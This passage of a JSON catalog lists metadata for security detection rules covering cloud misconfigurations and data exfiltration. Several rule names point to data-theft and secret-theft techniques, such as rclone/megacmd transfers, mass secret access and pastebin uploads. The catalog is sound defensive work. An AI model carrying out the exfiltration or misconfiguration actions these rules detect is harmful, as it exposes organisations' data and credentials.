"name": "AWS EC2 Instance Launched in Unauthorized Region",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS EC2 Instance Launched in Unauthorized Region'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1578.002"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-ec2-launch-foreign-region.yaml"+ },+ {+ "id": "det-cloud-006",+ "type": "detection",+ "name": "AWS Security Group Opened to 0.0.0.0/0",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS Security Group Opened to 0.0.0.0/0'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190",+ "T1133"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-security-group-open-world.yaml"+ },+ {+ "id": "det-cloud-007",+ "type": "detection",+ "name": "AWS IAM Policy with Wildcard Action",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS IAM Policy with Wildcard Action'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004",+ "T1098.001"+ ],+ "log_source": "aws",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-iam-policy-permissive.yaml"+ },+ {+ "id": "det-cloud-008",+ "type": "detection",+ "name": "AWS KMS Key Disabled or Scheduled for Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS KMS Key Disabled or Scheduled for Deletion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1485",+ "T1486"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-kms-key-disable.yaml"+ },+ {+ "id": "det-cloud-009",+ "type": "detection",+ "name": "AWS CloudTrail Logging Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS CloudTrail Logging Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "aws",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-cloudtrail-disabled.yaml"+ },+ {+ "id": "det-cloud-010",+ "type": "detection",+ "name": "AWS Lambda Function with Public Invoke Permission",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS Lambda Function with Public Invoke Permission'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-lambda-permissive-trigger.yaml"+ },+ {+ "id": "det-cloud-011",+ "type": "detection",+ "name": "AWS VPC Flow Logs Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS VPC Flow Logs Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "aws",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-vpc-flow-logs-disabled.yaml"+ },+ {+ "id": "det-cloud-012",+ "type": "detection",+ "name": "AWS RDS Instance Set Publicly Accessible",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS RDS Instance Set Publicly Accessible'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190",+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-rds-publicly-accessible.yaml"+ },+ {+ "id": "det-cloud-013",+ "type": "detection",+ "name": "AWS EBS Snapshot Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS EBS Snapshot Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-ebs-snapshot-public.yaml"+ },+ {+ "id": "det-cloud-014",+ "type": "detection",+ "name": "AWS AssumeRole from Untrusted External Account",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS AssumeRole from Untrusted External Account'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004",+ "T1199"+ ],+ "log_source": "aws",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-cross-account-assumerole.yaml"+ },+ {+ "id": "det-cloud-015",+ "type": "detection",+ "name": "AWS S3 GetObject Volume Anomaly per Principal",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'AWS S3 GetObject Volume Anomaly per Principal'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "aws",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/aws-s3-mass-getobject.yaml"+ },+ {+ "id": "det-cloud-016",+ "type": "detection",+ "name": "Azure AD Owner/Global-Admin Role Assignment",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Owner/Global-Admin Role Assignment'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.003"+ ],+ "log_source": "azure",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-ad-role-owner-assignment.yaml"+ },+ {+ "id": "det-cloud-017",+ "type": "detection",+ "name": "Azure AD Application Credential Added",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Application Credential Added'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-ad-app-secret-added.yaml"+ },+ {+ "id": "det-cloud-018",+ "type": "detection",+ "name": "Azure AD Conditional Access Policy Disabled or Removed",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Conditional Access Policy Disabled or Removed'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-conditional-access-disabled.yaml"+ },+ {+ "id": "det-cloud-019",+ "type": "detection",+ "name": "Azure Key Vault Key Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Key Vault Key Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "azure",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-keyvault-key-deleted.yaml"+ },+ {+ "id": "det-cloud-020",+ "type": "detection",+ "name": "Azure NSG Rule Allowing 0.0.0.0/0 Inbound",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure NSG Rule Allowing 0.0.0.0/0 Inbound'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "azure",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-nsg-allow-all-inbound.yaml"+ },+ {+ "id": "det-cloud-021",+ "type": "detection",+ "name": "Azure Storage Account Container Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Storage Account Container Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "azure",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-storage-public-blob.yaml"+ },+ {+ "id": "det-cloud-022",+ "type": "detection",+ "name": "Azure AD MFA Disabled for User",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD MFA Disabled for User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1556.006"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-ad-mfa-disabled-for-user.yaml"+ },+ {+ "id": "det-cloud-023",+ "type": "detection",+ "name": "Azure AD App Registration Granted Broad Graph Scope",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD App Registration Granted Broad Graph Scope'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-app-registration-permissive-scope.yaml"+ },+ {+ "id": "det-cloud-024",+ "type": "detection",+ "name": "Azure AD Login from Tor / Anonymous IP",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Login from Tor / Anonymous IP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "azure",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-login-anonymous-ip.yaml"+ },+ {+ "id": "det-cloud-025",+ "type": "detection",+ "name": "Azure Resource Mass Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Resource Mass Deletion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "azure",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/azure-resource-mass-delete.yaml"+ },+ {+ "id": "det-cloud-026",+ "type": "detection",+ "name": "GCP IAM Primitive Role (Owner/Editor) Granted",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP IAM Primitive Role (Owner/Editor) Granted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "gcp",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-iam-primitive-role-grant.yaml"+ },+ {+ "id": "det-cloud-027",+ "type": "detection",+ "name": "GCP Service Account Key Created",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Service Account Key Created'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "gcp",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-service-account-key-created.yaml"+ },+ {+ "id": "det-cloud-028",+ "type": "detection",+ "name": "GCP GCS Bucket Set to Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP GCS Bucket Set to Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-gcs-bucket-public.yaml"+ },+ {+ "id": "det-cloud-029",+ "type": "detection",+ "name": "GCP Firewall Rule Allowing 0.0.0.0/0 Inbound",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Firewall Rule Allowing 0.0.0.0/0 Inbound'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "gcp",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-firewall-rule-allow-all.yaml"+ },+ {+ "id": "det-cloud-030",+ "type": "detection",+ "name": "GCP Project Marked for Deletion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Project Marked for Deletion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1485"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-destruction",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-project-deletion.yaml"+ },+ {+ "id": "det-cloud-031",+ "type": "detection",+ "name": "GCP Audit Log Sink Disabled or Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Audit Log Sink Disabled or Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "gcp",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-audit-log-sink-disabled.yaml"+ },+ {+ "id": "det-cloud-032",+ "type": "detection",+ "name": "GCP Organization Policy Modified",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Organization Policy Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "gcp",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-org-policy-modified.yaml"+ },+ {+ "id": "det-cloud-033",+ "type": "detection",+ "name": "GCP Service Account Impersonation Outside Allowlist",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Service Account Impersonation Outside Allowlist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "gcp",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-service-account-impersonation.yaml"+ },+ {+ "id": "det-cloud-034",+ "type": "detection",+ "name": "GCP Secret Manager Mass AccessSecretVersion",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Secret Manager Mass AccessSecretVersion'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1555.005",+ "T1530"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-secret-manager-mass-export.yaml"+ },+ {+ "id": "det-cloud-035",+ "type": "detection",+ "name": "GCP BigQuery Dataset Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP BigQuery Dataset Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "gcp",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/gcp-bigquery-dataset-public.yaml"+ },+ {+ "id": "det-cloud-036",+ "type": "detection",+ "name": "Cloud Workload Spawned with Secrets in Environment Variables",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Cloud Workload Spawned with Secrets in Environment Variables'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "cloud",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "cloud",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-secrets-in-env.yaml"+ },+ {+ "id": "det-cloud-037",+ "type": "detection",+ "name": "Container Registry Repository Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Container Registry Repository Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1525"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-container-registry-public.yaml"+ },+ {+ "id": "det-cloud-038",+ "type": "detection",+ "name": "Terraform State File Stored in Public Bucket",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Terraform State File Stored in Public Bucket'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1530",+ "T1552.001"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-tfstate-public.yaml"+ },+ {+ "id": "det-cloud-039",+ "type": "detection",+ "name": "Internet-Facing Load Balancer Without WAF",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Internet-Facing Load Balancer Without WAF'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "cloud",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "cloud",+ "playbook": "tpl-cloud-misconfig",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-internet-load-balancer-no-waf.yaml"+ },+ {+ "id": "det-cloud-040",+ "type": "detection",+ "name": "Cross-Account Trust Added to Privileged Role",+ "description": "AiSOC v1 curated detection. Triggers on the cloud signal described by 'Cross-Account Trust Added to Privileged Role'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "cloud",+ "mitre_techniques": [+ "T1199"+ ],+ "log_source": "cloud",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/cloud/cloud-cross-account-trust-add.yaml"+ },+ {+ "id": "det-data-exfil-001",+ "type": "detection",+ "name": "Large Outbound Transfer to Personal Cloud Storage",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Large Outbound Transfer to Personal Cloud Storage'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567.002"+ ],+ "log_source": "proxy",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/large-egress-personal-cloud.yaml"+ },+ {+ "id": "det-data-exfil-002",+ "type": "detection",+ "name": "Outbound Bytes Spike Above Baseline (Anomaly)",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Outbound Bytes Spike Above Baseline (Anomaly)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1041"+ ],+ "log_source": "ndr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/egress-spike-baseline.yaml"+ },+ {+ "id": "det-data-exfil-003",+ "type": "detection",+ "name": "rclone or megacmd Process Spawned on Host",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'rclone or megacmd Process Spawned on Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/rclone-process-on-host.yaml"+ },+ {+ "id": "det-data-exfil-004",+ "type": "detection",+ "name": "Archive Tool Then Large Egress Within 15 Minutes",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Archive Tool Then Large Egress Within 15 Minutes'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1560.001",+ "T1041"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/archive-then-egress.yaml"+ },+ {+ "id": "det-data-exfil-005",+ "type": "detection",+ "name": "SaaS File Shared to External Domain",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'SaaS File Shared to External Domain'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/data-share-external-domain.yaml"+ },+ {+ "id": "det-data-exfil-006",+ "type": "detection",+ "name": "Salesforce Bulk Data Export by Non-Allowlisted User",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Salesforce Bulk Data Export by Non-Allowlisted User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "salesforce",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/salesforce-bulk-export.yaml"+ },+ {+ "id": "det-data-exfil-007",+ "type": "detection",+ "name": "Snowflake Large Result-Set Download by Non-Service Account",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Snowflake Large Result-Set Download by Non-Service Account'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "snowflake",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/snowflake-mass-export.yaml"+ },+ {+ "id": "det-data-exfil-008",+ "type": "detection",+ "name": "Database Application Reads Anomalously High Row Count",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Database Application Reads Anomalously High Row Count'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "db",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/db-mass-row-read.yaml"+ },+ {+ "id": "det-data-exfil-009",+ "type": "detection",+ "name": "Bulk Download Outside Business Hours",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Download Outside Business Hours'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1041"+ ],+ "log_source": "proxy",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/off-hours-bulk-download.yaml"+ },+ {+ "id": "det-data-exfil-010",+ "type": "detection",+ "name": "Git Push Containing PII or Secret Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Git Push Containing PII or Secret Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "github",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/github-pii-pattern-push.yaml"+ },+ {+ "id": "det-data-exfil-011",+ "type": "detection",+ "name": "Outbound Paste to Public Pastebin / Gist",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Outbound Paste to Public Pastebin / Gist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "proxy",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/outbound-paste-public.yaml"+ },+ {+ "id": "det-data-exfil-012",+ "type": "detection",+ "name": "Encrypted Archive Attachment Sent Externally",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Encrypted Archive Attachment Sent Externally'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1560.001",+ "T1567"+ ],+ "log_source": "email",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/encrypted-archive-attachment.yaml"+ },+ {+ "id": "det-data-exfil-013",+ "type": "detection",+ "name": "Mass Print Job From Confidential Document Repository",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Mass Print Job From Confidential Document Repository'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1052"+ ],+ "log_source": "windows",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/printer-mass-print-confidential.yaml"+ },+ {+ "id": "det-data-exfil-014",+ "type": "detection",+ "name": "Bulk Zip Creation on File Server",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Zip Creation on File Server'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1560.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/bulk-zip-on-fileserver.yaml"+ },+ {+ "id": "det-data-exfil-015",+ "type": "detection",+ "name": "Bulk Mailbox Export From M365 Compliance Center",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Mailbox Export From M365 Compliance Center'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1114.002"+ ],+ 